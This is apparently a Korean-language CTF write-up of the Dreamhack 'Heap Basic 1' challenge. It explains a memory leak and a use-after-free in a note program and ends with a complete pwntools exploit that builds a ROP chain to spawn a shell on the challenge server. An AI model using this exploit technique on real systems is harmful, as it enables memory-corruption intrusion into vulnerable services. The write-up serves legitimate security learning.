---
# System prepended metadata

title: '[Dreamhack] Heap Basic 1'

---

# [Dreamhack] Heap Basic 1
## 1. Mitigation
```python=
[*] '/home/m3r0n4/pwn/dreamhack/heap_basic/prob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```
다 켜져있다.

## 2. Code
```cpp=
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  unsigned int v4; // [rsp+Ch] [rbp-34h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  puts("Welcome to my house");
  puts("what is your name?");
  read(0, buf, 0x20uLL);
  printf("%s, what do you want to do?\n", buf);
  while ( 1 )
  {
    v4 = 0;
    puts("1. make note");
    puts("2. copy note");
    puts("3. delete");
    puts("4. change user name");
    puts("5. exit");
    printf(">> ");
    __isoc99_scanf("%d", &v4);
    if ( v4 <= 5 )
      break;
    puts("invalid input\n");
  }
  __asm { jmp     rax }
  return result;
}
```
main함수에서 처음에 buf를 초기화하지 않아 libc, pie_base, ret 주소를 모두 leak할 수 있다. 
```cpp=
unsigned __int64 remove(void)
{
  int v1; // [rsp+4h] [rbp-1Ch] BYREF
  struct_ptr *ptr; // [rsp+8h] [rbp-18h]
  struct_ptr *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0LL;
  puts("note number");
  printf(">> ");
  __isoc99_scanf("%d", &v1);
  for ( ptr = root; ; ptr = (struct_ptr *)ptr->head )
  {
    if ( !ptr )
    {
      puts("doesn't exist");
      return __readfsqword(0x28u) ^ v4;
    }
    if ( ptr->id == v1 )
      break;
    v3 = ptr;
  }
  if ( ptr == root )
    root = (struct_ptr *)root->head;
  else
    v3 = (struct_ptr *)ptr->head;
  free(ptr->info);
  free(ptr);
  puts("removed");
  return __readfsqword(0x28u) ^ v4;
}
```
make 하는 함수는 그냥 만들고 노트번호 넣고 information 청크 할당해서 넣어주는것이 전부다.remove 함수에서는 이전 청크에 대한 주솟값 정보가 그대로 남도록 remove를 하기 때문에, 지운다 하더라도 해당 청크를 계속 참조한다.
```cpp=
unsigned __int64 copy(void)
{
  int v1; // [rsp+0h] [rbp-20h] BYREF
  int v2; // [rsp+4h] [rbp-1Ch] BYREF
  struct_ptr *i; // [rsp+8h] [rbp-18h]
  struct_ptr *j; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("src note number");
  printf(">> ");
  __isoc99_scanf("%d", &v1);
  puts("dist note number");
  printf(">> ");
  __isoc99_scanf("%d", &v2);
  for ( i = (struct_ptr *)root; i && i->id != v1; i = (struct_ptr *)i->head )
    ;
  for ( j = (struct_ptr *)root; j && j->id != v2; j = (struct_ptr *)j->head )
    ;
  if ( i && j )
  {
    if ( i->len <= j->len )
    {
      strcpy((char *)j->info, (const char *)i->info);
    }
    else
    {
      puts("size of src > size of dist, only copy partial");
      strncpy((char *)j->info, (const char *)i->info, j->len);
    }
    puts("copy successed");
  }
  else
  {
    puts("src or dist doesn't exist");
  }
  return __readfsqword(0x28u) ^ v5;
}
```
copy하는 부분에서 위의 취약점을 이용해 6 byte aaw가 가능하다. 
시나리오는 아래와 같다.
1. 2개의 노트를 만든다. (노트를 만들 때 크기를 0x18에 맞도록 만든다.)
2. 할당한 두개의 노트를 remove 한다.
3. 다시 두개의 노트를 만드는데, 첫번째 노트의 information 크기를 다르게 만든다. 이렇게 되면 두번째 information이 기존의 첫번째 노트에서의 ptr에 청크가 할당된다. 
4. 두번째 노트의 information에 기존 노트의 구조와 똑같이 fake chunk를 만든다.
5. copy를 하게되면 두번째 노트의 head 부분에 (우리가 넣어준 임의의 주소) 첫번째 노트의 information이 strcpy가 된다.

이 시나리오 대로 ret에 rop chain을 넣어주면 익스가 된다. 스택 문제인지 원샷이 안먹었다.

## 3. exploit
```python=
from pwn import *

p = remote('host3.dreamhack.games', 23604)
#p = process('./prob')
e = ELF('./prob')
libc = e.libc

p.sendlineafter(b'?\n', b'')

libc_base = u64(p.recvuntil(b',')[:-1] + b'\x00\x00') + 30 - 0x1f0f28
print(hex(libc_base))

p.sendlineafter(b'>> ', b'4')
p.sendafter(b'>> ', b'A' * 0x8)
p.recvuntil(b'A' * 0x8)
pie_base = u64(p.recv(6) + b'\x00\x00') - 0x17d0
print(hex(pie_base))

p.sendlineafter(b'>> ', b'4')
p.sendafter(b'>> ', b'A' * 0x20)
p.recvuntil(b'A' * 0x20)
rbp = u64(p.recv(6) + b'\x00\x00') - 0xf0
print(hex(rbp))

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'12')
p.sendlineafter(b'>> ', b'm3r0n4')

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'12')
p.sendlineafter(b'>> ', b'm3r0n4')

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'1')

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'2')

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'50')
p.sendlineafter(b'>> ', p64(pie_base + 0x0000000000001833))

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'24')
payload = b''
payload += p32(3)
payload += p32(0x32)
payload += p64(rbp + 0x8)
p.sendlineafter(b'>> ', payload)

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'3')

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'2')

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'1')

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'50')
p.sendlineafter(b'>> ', p64(libc_base + 0x1b75aa))

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'24')
payload = b''
payload += p32(3)
payload += p32(0x32)
payload += p64(rbp + 0x10)
p.sendlineafter(b'>> ', payload)

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'3')

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'2')

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'1')

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'50')
p.sendlineafter(b'>> ', p64(pie_base + 0x000000000000101a))

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'24')
payload = b''
payload += p32(3)
payload += p32(0x32)
payload += p64(rbp + 0x18)
p.sendlineafter(b'>> ', payload)

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'3')

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'2')

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'>> ', b'1')

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'50')
p.sendlineafter(b'>> ', p64(libc_base + 0x55410))

p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'24')
payload = b''
payload += p32(3)
payload += p32(0x32)
payload += p64(rbp + 0x20)
p.sendlineafter(b'>> ', payload)

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'>> ', b'3')

p.sendlineafter(b'>> ', b'5')
p.interactive()
```

간단하게 짤 줄 알고 함수를 정의를 안하고 풀어서 굉장히 더럽다...